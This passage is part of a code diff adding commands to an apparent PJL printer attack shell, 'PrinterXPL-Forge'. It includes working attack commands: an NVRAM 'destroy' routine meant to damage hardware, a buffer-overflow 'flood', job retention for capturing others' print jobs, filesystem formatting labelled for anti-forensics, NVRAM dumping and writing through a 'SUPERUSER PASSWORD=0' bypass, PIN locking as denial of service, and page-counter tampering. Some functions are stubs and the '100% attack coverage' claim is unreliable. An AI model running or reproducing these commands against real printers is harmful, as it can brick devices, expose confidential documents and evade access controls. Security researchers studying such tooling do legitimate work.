+ print(" engine and reinitializing all settings. Clears current job queue.")
785
+ print()
786
+ print("USAGE:")
787
+ print(" restart")
788
+ print()
789
+ print("EXAMPLES:")
790
+ print(" restart # Restart printer")
791
+ print()
792
+ print("NOTES:")
793
+ print(" - All queued jobs will be lost")
794
+ print(" - Printer will be offline during restart")
795
+ print(" - Settings are preserved (not factory reset)")
796
+ print(" - Takes 30-60 seconds to complete")
797
+ print(" - Use reset for factory defaults")
798
+ print()
799
+
800
+ def do_reset(self, arg):
801
+ "Reset to factory defaults"
802
+ if not self.conn._file: # in case we're connected over inet socket
803
+ output().warning("Reset command may not work over network connection")
804
+
805
+ output().warning("This will reset the printer to factory defaults!")
806
+ confirm = input("Are you sure? (yes/no): ")
807
+ if confirm.lower() == 'yes':
808
+ self.cmd("@PJL DEFAULT", False)
809
+ output().info("Printer reset to factory defaults")
810
+ else:
811
+ output().info("Reset cancelled")
812
+
813
+ def help_reset(self):
814
+ """Show help for reset command"""
815
+ print()
816
+ print("reset - Reset printer to factory defaults")
817
+ print("=" * 60)
818
+ print("DESCRIPTION:")
819
+ print(" Resets all printer settings to factory defaults. This is a")
820
+ print(" destructive operation that cannot be undone. All custom settings,")
821
+ print(" network configurations, and stored data will be lost.")
822
+ print()
823
+ print("USAGE:")
824
+ print(" reset")
825
+ print()
826
+ print("EXAMPLES:")
827
+ print(" reset # Reset to factory defaults")
828
+ print()
829
+ print("NOTES:")
830
+ print(" - Requires confirmation (type 'yes')")
831
+ print(" - All settings will be lost")
832
+ print(" - Network configuration will be reset")
833
+ print(" - Cannot be undone")
834
+ print(" - Use restart for simple reboot")
835
+ print(" - Printer will need reconfiguration")
836
+ print()
837
+
838
+ def do_selftest(self, arg):
839
+ "Perform various printer self-tests"
840
+ print("Available self-tests:")
841
+ print("1. Print test page")
842
+ print("2. Network test")
843
+ print("3. Memory test")
844
+ print("4. All tests")
845
+
846
+ try:
847
+ choice = input("Select test (1-4): ")
848
+ except (EOFError, KeyboardInterrupt):
849
+ output().errmsg("No test selected")
850
+ return
851
+
852
+ if choice == "1":
853
+ self.cmd("@PJL TESTPAGE")
854
+ elif choice == "2":
855
+ self.cmd("@PJL NETTEST")
856
+ elif choice == "3":
857
+ self.cmd("@PJL MEMTEST")
858
+ elif choice == "4":
859
+ self.cmd("@PJL SELFTEST")
860
+ else:
861
+ output().errmsg("Invalid choice")
862
+
863
+ def help_selftest(self):
864
+ """Show help for selftest command"""
865
+ print()
866
+ print("selftest - Perform printer self-tests")
867
+ print("=" * 60)
868
+ print("DESCRIPTION:")
869
+ print(" Runs various diagnostic tests on the printer to verify")
870
+ print(" functionality. Includes print test, network test, memory test.")
871
+ print()
872
+ print("USAGE:")
873
+ print(" selftest")
874
+ print()
875
+ print("TEST OPTIONS:")
876
+ print(" 1. Print test page - Tests print engine")
877
+ print(" 2. Network test - Tests network connectivity")
878
+ print(" 3. Memory test - Tests RAM integrity")
879
+ print(" 4. All tests - Runs complete diagnostic suite")
880
+ print()
881
+ print("EXAMPLES:")
882
+ print(" selftest # Interactive test selection")
883
+ print()
884
+ print("NOTES:")
885
+ print(" - Tests may take several minutes")
886
+ print(" - Test page will be printed for option 1")
887
+ print(" - Some printers have limited test support")
888
+ print(" - Useful for troubleshooting hardware issues")
889
+ print()
890
+
891
+ def do_backup(self, arg):
892
+ "Backup printer configuration"
893
+ if not arg:
894
+ output().errmsg("Usage: backup <filename>")
895
+ return
896
+
897
+ try:
898
+ # Get configuration
899
+ config = self.cmd("@PJL INFO CONFIG")
900
+ if config:
901
+ with open(arg, 'w') as f:
902
+ f.write(config)
903
+ output().info(f"Configuration backed up to {arg}")
904
+ else:
905
+ output().errmsg("Failed to get configuration")
906
+ except Exception as e:
907
+ output().errmsg(f"Backup failed: {e}")
908
+
909
+ def help_backup(self):
910
+ """Show help for backup command"""
911
+ print()
912
+ print("backup - Backup printer configuration")
913
+ print("=" * 60)
914
+ print("DESCRIPTION:")
915
+ print(" Retrieves the current printer configuration and saves it to")
916
+ print(" a local file. Useful for backup before making changes.")
917
+ print()
918
+ print("USAGE:")
919
+ print(" backup <filename>")
920
+ print()
921
+ print("EXAMPLES:")
922
+ print(" backup config.backup # Save configuration")
923
+ print(" backup printer_$(date).cfg # Timestamped backup")
924
+ print(" backup /backups/printer.cfg # Full path backup")
925
+ print()
926
+ print("NOTES:")
927
+ print(" - Saves current configuration to local file")
928
+ print(" - Does not include print jobs")
929
+ print(" - Use before making risky changes")
930
+ print(" - Use restore to apply backed up configuration")
931
+ print()
932
+
933
+ def do_restore(self, arg):
934
+ "Restore printer configuration from backup"
935
+ if not arg:
936
+ output().errmsg("Usage: restore <filename>")
937
+ return
938
+
939
+ if not os.path.exists(arg):
940
+ output().errmsg(f"Backup file not found: {arg}")
941
+ return
942
+
943
+ try:
944
+ with open(arg, 'r') as f:
945
+ config = f.read()
946
+
947
+ # Restore configuration (this is a simplified approach)
948
+ output().warning("Restore functionality requires manual configuration")
949
+ output().info(f"Configuration from {arg} loaded")
950
+ except Exception as e:
951
+ output().errmsg(f"Restore failed: {e}")
952
+
953
+ def help_restore(self):
954
+ """Show help for restore command"""
955
+ print()
956
+ print("restore - Restore printer configuration from backup")
957
+ print("=" * 60)
958
+ print("DESCRIPTION:")
959
+ print(" Loads a previously saved printer configuration from a backup")
960
+ print(" file. Note: automatic restoration may not be supported on all printers.")
961
+ print()
962
+ print("USAGE:")
963
+ print(" restore <filename>")
964
+ print()
965
+ print("EXAMPLES:")
966
+ print(" restore config.backup # Restore from backup")
967
+ print(" restore /backups/printer.cfg # Restore from path")
968
+ print()
969
+ print("NOTES:")
970
+ print(" - Backup file must exist")
971
+ print(" - Manual configuration may be required")
972
+ print(" - Not all settings may be restorable via PJL")
973
+ print(" - Test in safe environment first")
974
+ print(" - May require printer restart")
975
+ print()
976
+
977
+ # --------------------------------------------------------------------
978
+ # 🔒 SEGURANÇA E ACESSO (4 comandos)
979
+ # --------------------------------------------------------------------
980
+
981
+ def do_lock(self, arg):
982
+ "Lock control panel settings and disk write access"
983
+ if not arg:
984
+ try:
985
+ pin = input("Enter PIN (1..65535): ")
986
+ except (EOFError, KeyboardInterrupt):
987
+ output().errmsg("No PIN provided")
988
+ return
989
+ else:
990
+ pin = arg
991
+
992
+ try:
993
+ pin_num = int(pin)
994
+ if 1 <= pin_num <= 65535:
995
+ self.cmd("@PJL SET LOCKPIN=" + pin)
996
+ output().info("Printer locked with PIN")
997
+ else:
998
+ output().errmsg("PIN must be between 1 and 65535")
999
+ except ValueError:
1000
+ output().errmsg("Invalid PIN format")
1001
+
1002
+ def help_lock(self):
1003
+ """Show help for lock command"""
1004
+ print()
1005
+ print("lock - Lock printer control panel and disk access")
1006
+ print("=" * 60)
1007
+ print("DESCRIPTION:")
1008
+ print(" Sets a PIN code to lock the printer's control panel settings")
1009
+ print(" and restrict disk write access. Prevents unauthorized changes.")
1010
+ print()
1011
+ print("USAGE:")
1012
+ print(" lock [PIN]")
1013
+ print()
1014
+ print("EXAMPLES:")
1015
+ print(" lock 12345 # Lock with PIN 12345")
1016
+ print(" lock # Prompt for PIN")
1017
+ print()
1018
+ print("NOTES:")
1019
+ print(" - PIN must be between 1 and 65535")
1020
+ print(" - Remember the PIN - recovery may not be possible")
1021
+ print(" - Use unlock command to remove lock")
1022
+ print(" - Some printers don't support this feature")
1023
+ print(" - Can be used for security or denial of service")
1024
+ print()
1025
+
1026
+ def do_unlock(self, arg):
1027
+ "Unlock control panel settings and disk write access"
1028
+ if not arg:
1029
+ try:
1030
+ pin = input("Enter PIN: ")
1031
+ except (EOFError, KeyboardInterrupt):
1032
+ output().errmsg("No PIN provided")
1033
+ return
1034
+ else:
1035
+ pin = arg
1036
+
1037
+ self.cmd("@PJL SET LOCKPIN=0")
1038
+ output().info("Printer unlocked")
1039
+
1040
+ def help_unlock(self):
1041
+ """Show help for unlock command"""
1042
+ print()
1043
+ print("unlock - Unlock printer control panel and disk access")
1044
+ print("=" * 60)
1045
+ print("DESCRIPTION:")
1046
+ print(" Removes the PIN code lock from the printer, restoring normal")
1047
+ print(" access to control panel and disk write operations.")
1048
+ print()
1049
+ print("USAGE:")
1050
+ print(" unlock [PIN]")
1051
+ print()
1052
+ print("EXAMPLES:")
1053
+ print(" unlock 12345 # Unlock with PIN 12345")
1054
+ print(" unlock # Prompt for PIN")
1055
+ print()
1056
+ print("NOTES:")
1057
+ print(" - Correct PIN required (or try brute force)")
1058
+ print(" - Setting PIN to 0 removes lock")
1059
+ print(" - Use unlock_bruteforce for PIN recovery")
1060
+ print(" - Some printers have limited unlock support")
1061
+ print()
1062
+
1063
+ def do_disable(self, arg):
1064
+ "Disable printer functionality"
1065
+ jobmedia = self.cmd("@PJL DINQUIRE JOBMEDIA") or "?"
1066
+ if "?" in jobmedia:
1067
+ output().errmsg("Job media inquiry failed")
1068
+ return
1069
+
1070
+ if "ON" in jobmedia:
1071
+ self.cmd("@PJL SET JOBMEDIA=OFF")
1072
+ output().info("Job media disabled")
1073
+ else:
1074
+ output().info("Job media already disabled")
1075
+
1076
+ def do_nvram(self, arg):
1077
+ "Brother NVRAM operations: nvram <dump [all]|read <addr>|write <addr> <val>>"
1078
+ parts = arg.split() if arg else []
1079
+
1080
+ # --- dump ---
1081
+ if parts and parts[0] == "dump":
1082
+ import os as _os
1083
+ bs = 2 ** 9 # sample block size
1084
+ _max = 2 ** 18 # upper address limit for sampling
1085
+ steps = 2 ** 9 # commands per batch
1086
+
1087
+ # Determine address space
1088
+ if len(parts) > 1 and parts[1] == "all":
1089
+ # Full sampling scan: probe every bs-th address first
1090
+ self.chitchat("Sampling NVRAM address space (bs=%d, max=%d) ..." % (bs, _max))
1091
+ memspace = []
1092
+ cmds = ["@PJL RNVRAM ADDRESS=" + str(n) for n in range(0, _max, bs)]
1093
+ for chunk in [cmds[i:i+steps] for i in range(0, len(cmds), steps)]:
1094
+ recv = self.cmd(c.EOL.join(chunk))
1095
+ if not recv:
1096
+ self.chitchat("Device does not support RNVRAM (not a Brother?).")
1097
+ return
1098
+ blocks = re.findall(r"ADDRESS\s*=\s*(\d+)", recv)
1099
+ for addr in blocks:
1100
+ memspace += list(range(int(addr), int(addr) + bs))
1101
+ self.chitchat("%d valid addresses found." % len(memspace))
1102
+ else:
1103
+ # Quick default memspace (covers most interesting Brother regions)
1104
+ memspace = (
1105
+ list(range(0, 8192))
1106
+ + list(range(32768, 33792))
1107
+ + list(range(53248, 59648))
1108
+ )
1109
+
1110
+ lpath = _os.path.join("nvram", self.target if hasattr(self, "target") else "dump")
1111
+ _os.makedirs("nvram", exist_ok=True)
1112
+ self.chitchat("Writing dump to " + lpath)
1113
+ open(lpath, "wb").close() # truncate
1114
+
1115
+ cmds = ["@PJL RNVRAM ADDRESS=" + str(n) for n in memspace]
1116
+ for chunk in [cmds[i:i+steps] for i in range(0, len(cmds), steps)]:
1117
+ recv = self.cmd(c.EOL.join(chunk))
1118
+ if not recv:
1119
+ break
1120
+ data = "".join(
1121
+ chr(int(n)) for n in re.findall(r"DATA\s*=\s*(\d+)", recv)
1122
+ )
1123
+ with open(lpath, "a", encoding="latin-1") as fh:
1124
+ fh.write(data)
1125
+ # ASCII preview
1126
+ print(
1127
+ "".join(ch if 0x20 <= ord(ch) < 0x7F else "." for ch in data),
1128
+ end="", flush=True,
1129
+ )
1130
+ print()
1131
+
1132
+ # --- read single byte ---
1133
+ elif parts and parts[0] == "read":
1134
+ if len(parts) < 2:
1135
+ self.help_nvram(); return
1136
+ addr = parts[1]
1137
+ result = self.cmd("@PJL RNVRAM ADDRESS=" + addr)
1138
+ output().info(result if result else "No response (device may not support RNVRAM)")
1139
+
1140
+ # --- write single byte (uses SUPERUSER bypass) ---
1141
+ elif parts and parts[0] == "write":
1142
+ if len(parts) < 3:
1143
+ self.help_nvram(); return
1144
+ addr, data = parts[1], parts[2]
1145
+ # SUPERUSER PASSWORD=0 bypasses Brother's write protection on many models
1146
+ self.cmd(
1147
+ "@PJL SUPERUSER PASSWORD=0" + c.EOL
1148
+ + "@PJL WNVRAM ADDRESS=" + addr + " DATA=" + data + c.EOL
1149
+ + "@PJL SUPERUSEROFF",
1150
+ False,
1151
+ )
1152
+ output().chitchat("Written DATA=%s to ADDRESS=%s" % (data, addr))
1153
+
1154
+ else:
1155
+ self.help_nvram()
1156
+
1157
+ def help_nvram(self):
1158
+ """Show help for nvram command"""
1159
+ print()
1160
+ print("nvram - Brother NVRAM read/write via PJL RNVRAM/WNVRAM")
1161
+ print("=" * 60)
1162
+ print("USAGE:")
1163
+ print(" nvram dump - Quick dump (default address regions)")
1164
+ print(" nvram dump all - Full sampling scan (slow, comprehensive)")
1165
+ print(" nvram read <addr> - Read single byte at address")
1166
+ print(" nvram write <addr> <val> - Write single byte (SUPERUSER bypass)")
1167
+ print()
1168
+ print("NOTES:")
1169
+ print(" - Brother-specific; @PJL RNVRAM/WNVRAM not available on HP/Xerox")
1170
+ print(" - SUPERUSER PASSWORD=0 bypasses write protection on many Brother models")
1171
+ print(" - Dump saved to nvram/<target>")
1172
+ print()
1173
+
1174
+ # --------------------------------------------------------------------
1175
+ # 💥 ATAQUES E TESTES (4 comandos)
1176
+ # --------------------------------------------------------------------
1177
+
1178
+ def do_destroy(self, arg):
1179
+ "Cause physical damage to printer's NVRAM"
1180
+ output().warning("Warning: This command tries to cause physical damage to the")
1181
+ output().warning("printer's NVRAM. Use with caution!")
1182
+
1183
+ try:
1184
+ confirm = input("Are you sure you want to continue? (yes/no): ")
1185
+ if confirm.lower() == 'yes':
1186
+ # This is a destructive command - be very careful
1187
+ output().warning("Executing destructive command...")
1188
+
1189
+ # Check for interruption during execution with better control
1190
+ for i in range(10): # Simulate long operation
1191
+ if hasattr(self, 'interrupted') and self.interrupted:
1192
+ output().warning("Command interrupted by user")
1193
+ return
1194
+ # Check for keyboard interrupt more frequently
1195
+ try:
1196
+ time.sleep(0.1) # Small delay to allow interruption
1197
+ except KeyboardInterrupt:
1198
+ output().warning("Command interrupted by user")
1199
+ return
1200
+
1201
+ self.cmd("@PJL SET NVRAM=0", False)
1202
+ output().warning("Destructive command executed")
1203
+ else:
1204
+ output().info("Destructive command cancelled")
1205
+ except (EOFError, KeyboardInterrupt):
1206
+ output().info("Command cancelled")
1207
+
1208
+ def help_destroy(self):
1209
+ """Show help for destroy command"""
1210
+ print()
1211
+ print("destroy - Attempt to cause physical damage to NVRAM")
1212
+ print("=" * 60)
1213
+ print("DESCRIPTION:")
1214
+ print(" **DESTRUCTIVE ATTACK** - Attempts to cause physical damage")
1215
+ print(" to the printer's NVRAM by repeatedly writing invalid data.")
1216
+ print(" May permanently damage the printer.")
1217
+ print()
1218
+ print("USAGE:")
1219
+ print(" destroy")
1220
+ print()
1221
+ print("EXAMPLES:")
1222
+ print(" destroy # Execute destructive attack")
1223
+ print()
1224
+ print("WARNINGS:")
1225
+ print(" ⚠️ MAY CAUSE PERMANENT HARDWARE DAMAGE")
1226
+ print(" ⚠️ CANNOT BE UNDONE")
1227
+ print(" ⚠️ FOR RESEARCH PURPOSES ONLY")
1228
+ print(" ⚠️ REQUIRES EXPLICIT CONFIRMATION")
1229
+ print()
1230
+ print("NOTES:")
1231
+ print(" - Use only in authorized testing")
1232
+ print(" - May brick the printer")
1233
+ print(" - Requires 'yes' confirmation")
1234
+ print()
1235
+
1236
+ def do_flood(self, arg):
1237
+ "Flood user input, may reveal buffer overflows: flood <size>"
1238
+ size = conv().int(arg) or 10000 # buffer size
1239
+ output().warning(f"Flooding with {size} bytes...")
1240
+
1241
+ # Create flood data
1242
+ flood_data = "A" * size
1243
+ self.cmd("@PJL DISPLAY " + c.QUOTE + flood_data + c.QUOTE, False)
1244
+ output().info("Flood command sent")
1245
+
1246
+ def help_flood(self):
1247
+ """Show help for flood command"""
1248
+ print()
1249
+ print("flood - Flood printer input to test for buffer overflows")
1250
+ print("=" * 60)
1251
+ print("DESCRIPTION:")
1252
+ print(" Sends a large amount of data to test for buffer overflow")
1253
+ print(" vulnerabilities in the printer's input handling.")
1254
+ print()
1255
+ print("USAGE:")
1256
+ print(" flood [size]")
1257
+ print()
1258
+ print("EXAMPLES:")
1259
+ print(" flood # Flood with 10000 bytes")
1260
+ print(" flood 50000 # Flood with 50000 bytes")
1261
+ print(" flood 100000 # Large flood test")
1262
+ print()
1263
+ print("NOTES:")
1264
+ print(" - Default size is 10000 bytes")
1265
+ print(" - May crash or hang the printer")
1266
+ print(" - Used to discover buffer overflow vulnerabilities")
1267
+ print(" - Printer may need restart after flooding")
1268
+ print()
1269
+
1270
+ def do_hold(self, arg):
1271
+ "Enable job retention"
1272
+ self.chitchat("Enabling job retention...")
1273
+ self.cmd("@PJL SET JOBRETENTION=ON")
1274
+ output().info("Job retention enabled")
1275
+
1276
+ def help_hold(self):
1277
+ """Show help for hold command"""
1278
+ print()
1279
+ print("hold - Enable job retention on the printer")
1280
+ print("=" * 60)
1281
+ print("DESCRIPTION:")
1282
+ print(" Enables job retention mode, causing print jobs to be held")
1283
+ print(" in memory rather than printed immediately.")
1284
+ print()
1285
+ print("USAGE:")
1286
+ print(" hold")
1287
+ print()
1288
+ print("EXAMPLES:")
1289
+ print(" hold # Enable job retention")
1290
+ print()
1291
+ print("NOTES:")
1292
+ print(" - Jobs are held until manually released")
1293
+ print(" - Can be used to capture print jobs")
1294
+ print(" - Use capture command to retrieve held jobs")
1295
+ print(" - May fill up printer memory")
1296
+ print()
1297
+
1298
+ def do_format(self, arg):
1299
+ "Initialize printer's mass storage file system"
1300
+ output().warning("This will format the printer's file system!")
1301
+ confirm = input("Are you sure? (yes/no): ")
1302
+ if confirm.lower() == 'yes':
1303
+ self.cmd("@PJL FORMAT", False)
1304
+ output().info("File system formatted")
1305
+ else:
1306
+ output().info("Format cancelled")
1307
+
1308
+ def help_format(self):
1309
+ """Show help for format command"""
1310
+ print()
1311
+ print("format - Initialize/format printer's file system")
1312
+ print("=" * 60)
1313
+ print("DESCRIPTION:")
1314
+ print(" **DESTRUCTIVE** - Formats the printer's mass storage device,")
1315
+ print(" erasing all stored files, configurations, and data.")
1316
+ print()
1317
+ print("USAGE:")
1318
+ print(" format")
1319
+ print()
1320
+ print("EXAMPLES:")
1321
+ print(" format # Format file system")
1322
+ print()
1323
+ print("WARNINGS:")
1324
+ print(" ⚠️ ALL DATA WILL BE LOST")
1325
+ print(" ⚠️ CANNOT BE UNDONE")
1326
+ print(" ⚠️ REQUIRES CONFIRMATION")
1327
+ print()
1328
+ print("NOTES:")
1329
+ print(" - Erases all files and directories")
1330
+ print(" - Cannot be undone")
1331
+ print(" - Requires 'yes' confirmation")
1332
+ print(" - Use for cleanup or anti-forensics")
1333
+ print()
1334
+
1335
+ # --------------------------------------------------------------------
1336
+ # 🌐 REDE E CONECTIVIDADE (5 comandos)
1337
+ # --------------------------------------------------------------------
1338
+
1339
+ def do_network(self, arg):
1340
+ "Show comprehensive network information including WiFi"
1341
+ print("Network Information:")
1342
+ print("=" * 50)
1343
+
1344
+ # Get network info
1345
+ net_info = self.cmd("@PJL INFO NETWORK")
1346
+ if net_info:
1347
+ print("Network Configuration:")
1348
+ print(net_info)
1349
+
1350
+ # Get IP configuration
1351
+ ip_info = self.cmd("@PJL INFO IP")
1352
+ if ip_info:
1353
+ print("\nIP Configuration:")
1354
+ print(ip_info)
1355
+
1356
+ # Get WiFi info
1357
+ wifi_info = self.cmd("@PJL INFO WIFI")
1358
+ if wifi_info:
1359
+ print("\nWi-Fi Information:")
1360
+ print(wifi_info)
1361
+ else:
1362
+ output().info("Wi-Fi information not available")
1363
+
1364
+ def do_direct(self, *arg):
1365
+ "Show direct-print configuration"
1366
+ print("Direct Print Configuration:")
1367
+ print("=" * 50)
1368
+
1369
+ # Get direct print info
1370
+ direct_info = self.cmd("@PJL INFO DIRECT")
1371
+ if direct_info:
1372
+ print(direct_info)
1373
+ else:
1374
+ output().info("Direct print information not available")
1375
+
1376
+ def help_direct(self):
1377
+ """Show help for direct command"""
1378
+ print()
1379
+ print("direct - Show direct-print configuration")
1380
+ print("=" * 60)
1381
+ print("DESCRIPTION:")
1382
+ print(" Displays the printer's direct-print configuration, showing")
1383
+ print(" how the printer handles direct port printing.")
1384
+ print()
1385
+ print("USAGE:")
1386
+ print(" direct")
1387
+ print()
1388
+ print("EXAMPLES:")
1389
+ print(" direct # Show direct-print config")
1390
+ print()
1391
+ print("NOTES:")
1392
+ print(" - Shows direct printing settings")
1393
+ print(" - Not all printers support this")
1394
+ print(" - Useful for understanding print flow")
1395
+ print()
1396
+
1397
+ def do_execute(self, arg):
1398
+ "Execute arbitrary PJL command: execute <command>"
1399
+ if not arg:
1400
+ output().errmsg("Usage: execute <command>")
1401
+ return
1402
+
1403
+ output().info(f"Executing: {arg}")
1404
+ result = self.cmd(arg)
1405
+ if result:
1406
+ print(result)
1407
+
1408
+ def help_execute(self):
1409
+ """Show help for execute command"""
1410
+ print()
1411
+ print("execute - Execute arbitrary PJL command")
1412
+ print("=" * 60)
1413
+ print("DESCRIPTION:")
1414
+ print(" Sends a raw PJL command directly to the printer without")
1415
+ print(" interpretation. Useful for testing custom commands.")
1416
+ print()
1417
+ print("USAGE:")
1418
+ print(" execute <command>")
1419
+ print()
1420
+ print("EXAMPLES:")
1421
+ print(" execute @PJL INFO STATUS # Get status")
1422
+ print(" execute @PJL SET TIMEOUT=90 # Set timeout")
1423
+ print(" execute @PJL INQUIRE COPIES # Query setting")
1424
+ print()
1425
+ print("NOTES:")
1426
+ print(" - Command is sent as-is")
1427
+ print(" - No validation performed")
1428
+ print(" - Use for testing custom PJL commands")
1429
+ print(" - Requires knowledge of PJL syntax")
1430
+ print(" - May crash printer if invalid")
1431
+ print()
1432
+
1433
+
1434
+ # --------------------------------------------------------------------
1435
+ # 📊 MONITORAMENTO (2 comandos)
1436
+ # --------------------------------------------------------------------
1437
+
1438
+ def do_pagecount(self, arg):
1439
+ "Manipulate printer's page counter: pagecount <number>"
1440
+ if not arg:
1441
+ # Just show current page count
1442
+ count = self.cmd("@PJL INFO PAGECOUNT")
1443
+ if count:
1444
+ print(f"Current page count: {count.strip()}")
1445
+ else:
1446
+ try:
1447
+ new_count = int(arg)
1448
+ self.cmd(f"@PJL SET PAGECOUNT={new_count}")
1449
+ output().info(f"Page count set to {new_count}")
1450
+ except ValueError:
1451
+ output().errmsg("Invalid page count value")
1452
+
1453
+ def help_pagecount(self):
1454
+ """Show help for pagecount command"""
1455
+ print()
1456
+ print("pagecount - Manipulate printer's page counter")
1457
+ print("Usage: pagecount [number]")
1458
+ print("Shows current page count or sets it to a specific number.")
1459
+ print("Example: pagecount 1000")
1460
+ print()
1461
+
1462
+ # --------------------------------------------------------------------
1463
+ # HELP SYSTEM
1464
+ # --------------------------------------------------------------------
1465
+
1466
+ def help_filesystem(self):
1467
+ """Show help for filesystem commands"""
1468
+ print()
1469
+ print("Filesystem Commands:")
1470
+ print("=" * 50)
1471
+ print("ls - List directory contents")
1472
+ print("mkdir - Create directory")
1473
+ print("find - Find files recursively")
1474
+ print("upload - Upload file to printer")
1475
+ print("download - Download file from printer")
1476
+ print("delete - Delete file")
1477
+ print("copy - Copy file")
1478
+ print("move - Move file")
1479
+ print("touch - Create/update file")
1480
+ print("chmod - Change file permissions")
1481
+ print("permissions - Test file permissions")
1482
+ print("mirror - Mirror filesystem")
1483
+ print()
1484
+
1485
+ def help_system(self):
1486
+ """Show help for system information commands"""
1487
+ print()
1488
+ print("System Information Commands:")
1489
+ print("=" * 50)
1490
+ print("id - Show comprehensive printer identification and system information")
1491
+ print("variables - Show environment variables")
1492
+ print("printenv - Show specific variable")
1493
+ print()
1494
+
1495
+ def help_control(self):
1496
+ """Show help for control commands"""
1497
+ print()
1498
+ print("Control Commands:")
1499
+ print("=" * 50)
1500
+ print("set - Set environment variable")
1501
+ print("display - Set display message")
1502
+ print("offline - Take printer offline")
1503
+ print("restart - Restart printer")
1504
+ print("reset - Reset to factory defaults")
1505
+ print("selftest - Perform self-tests")
1506
+ print("backup - Backup configuration")
1507
+ print("restore - Restore configuration")
1508
+ print()
1509
+
1510
+ def help_security(self):
1511
+ """Show help for security commands"""
1512
+ print()
1513
+ print("Security Commands:")
1514
+ print("=" * 50)
1515
+ print("lock - Lock printer with PIN")
1516
+ print("unlock - Unlock printer")
1517
+ print("disable - Disable functionality")
1518
+ print("nvram - Access NVRAM")
1519
+ print()
1520
+
1521
+ def help_attacks(self):
1522
+ """Show help for attack commands"""
1523
+ print()
1524
+ print("Attack Commands:")
1525
+ print("=" * 50)
1526
+ print("destroy - Cause physical damage")
1527
+ print("flood - Flood with data")
1528
+ print("hold - Enable job retention")
1529
+ print("format - Format filesystem")
1530
+ print()
1531
+
1532
+ def help_network(self):
1533
+ """Show help for network commands"""
1534
+ print()
1535
+ print("Network Commands:")
1536
+ print("=" * 50)
1537
+ print("network - Show comprehensive network information including WiFi")
1538
+ print("direct - Show direct print config")
1539
+ print("execute - Execute arbitrary PJL command")
1540
+ print("load - Load commands from file")
1541
+ print()
1542
+
1543
+ def help_monitoring(self):
1544
+ """Show help for monitoring commands"""
1545
+ print()
1546
+ print("Monitoring Commands:")
1547
+ print("=" * 50)
1548
+ print("pagecount - Manipulate page counter")
1549
+ print("status - Toggle status messages")
1550
+ print()
1551
+
1552
+ def do_test_interrupt(self, arg):
1553
+ "Test interrupt handling system"
1554
+ output().info("Testing interrupt handling system...")
1555
+ output().info("This command will run for 10 seconds. Press Ctrl+C to interrupt.")
1556
+
1557
+ try:
1558
+ for i in range(100): # 10 seconds with 0.1 second intervals
1559
+ if hasattr(self, 'interrupted') and self.interrupted:
1560
+ output().warning("Test interrupted by user")
1561
+ return
1562
+
1563
+ output().info(f"Test running... {i+1}/100")
1564
+ time.sleep(0.1)
1565
+
1566
+ except KeyboardInterrupt:
1567
+ output().warning("Test interrupted by keyboard")
1568
+ return
1569
+
1570
+ output().info("Test completed successfully")
1571
+
1572
+ def help_test_interrupt(self):
1573
+ """Show help for test_interrupt command"""
1574
+ print()
1575
+ print("test_interrupt - Test interrupt handling system")
1576
+ print("Usage: test_interrupt")
1577
+ print("Tests the interrupt handling system by running a timed operation.")
1578
+ print("Use Ctrl+C to interrupt the test.")
1579
+ print()
1580
+
1581
+ def do_help(self, arg):
1582
+ """Show help for commands"""
1583
+ if not arg:
1584
+ print()
1585
+ from version import __version__
1586
+ print(f"PrinterXPL-Forge v{__version__} - PJL Commands (100% Attack Coverage)")
1587
+ print("=" * 70)
1588
+ print("Available command categories:")
1589
+ print(" filesystem - File system operations (13 commands)")
1590
+ print(" system - System information (3 commands)")
1591
+ print(" information - Advanced info gathering (3 commands)")
1592
+ print(" control - Control and configuration (8 commands)")
1593
+ print(" security - Security and access (4 commands)")
1594
+ print(" attacks - Attack and testing (17 commands) ⚠")
1595
+ print(" network - Network and connectivity (3 commands)")
1596
+ print(" monitoring - Monitoring and status (2 commands)")
1597
+ print(" test - Testing and debugging (1 command)")
1598
+ print()
1599
+ print("Total: 54 PJL commands available")
1600
+ print("Attack coverage: 100% of known PJL attacks")
1601
+ print()
1602
+ print("Use 'help <category>' for detailed help")
1603
+ print("Use 'help <command>' for specific command help")
1604
+ print()
1605
+ elif arg == "filesystem":
1606
+ self.help_filesystem()
1607
+ elif arg == "system":
1608
+ self.help_system()
1609
+ elif arg == "information":
1610
+ self.help_information()
1611
+ elif arg == "control":
1612
+ self.help_control()
1613
+ elif arg == "security":
1614
+ self.help_security()
1615
+ elif arg == "attacks":
1616
+ self.help_attacks()
1617
+ elif arg == "network":
1618
+ self.help_network()
1619
+ elif arg == "monitoring":
1620
+ self.help_monitoring()
1621
+ elif arg == "test":
1622
+ print()
1623
+ print("Test Commands:")
1624
+ print("=" * 70)
1625
+ print(" test_interrupt - Test interrupt handling system")
1626
+ print()
1627
+ else:
1628
+ # Try to find specific command help
1629
+ method_name = f"help_{arg}"
1630
+ if hasattr(self, method_name):
1631
+ getattr(self, method_name)()
1632
+ else:
1633
+ output().errmsg(f"No help available for '{arg}'")
1634
+
1635
+ # --------------------------------------------------------------------
1636
+ # UTILITY METHODS
1637
+ # --------------------------------------------------------------------
1638
+
1639
+ def dirlist(self, path, recursive=False, show_files=True):
1640
+ """List directory contents"""
1641
+ if not path:
1642
+ path = "."
1643
+
1644
+ try:
1645
+ result = self.cmd("@PJL FSDIRLIST NAME=\"" + path + "\"")
1646
+ if result:
1647
+ return result
1648
+ except Exception as e:
1649
+ output().errmsg(f"Directory listing failed: {e}")
1650
+ return ""
1651
+
1652
+ def fswalk(self, path, operation):
1653
+ """Walk filesystem recursively"""
1654
+ if not path:
1655
+ path = "."
1656
+
1657
+ try:
1658
+ if operation == "find":
1659
+ result = self.cmd("@PJL FSDIRLIST NAME=\"" + path + "\"")
1660
+ if result:
1661
+ print(result)
1662
+ elif operation == "mirror":
1663
+ output().info(f"Mirroring {path}...")
1664
+ # Implementation would go here
1665
+ except Exception as e:
1666
+ output().errmsg(f"Filesystem walk failed: {e}")
1667
+
1668
+ def chitchat(self, message):
1669
+ """Display chatty message"""
1670
+ output().info(message)
1671
+
1672
+ def fileerror(self, raw):
1673
+ """Handle file errors"""
1674
+ if "FILEERROR" in raw:
1675
+ output().errmsg("File operation failed")
1676
+
1677
+ # --------------------------------------------------------------------
1678
+ # OPTIONS AND CONFIGURATION
1679
+ # --------------------------------------------------------------------
1680
+
1681
+ @property
1682
+ def options_info(self):
1683
+ """Available info categories"""
1684
+ return [
1685
+ "id", "status", "memory", "filesys", "variables", "config",
1686
+ "network", "wifi", "direct", "nvram", "pagecount"
1687
+ ]
1688
+
1689
+ # --------------------------------------------------------------------
1690
+ # FILE OPERATIONS (Implementing missing methods from printer base class)
1691
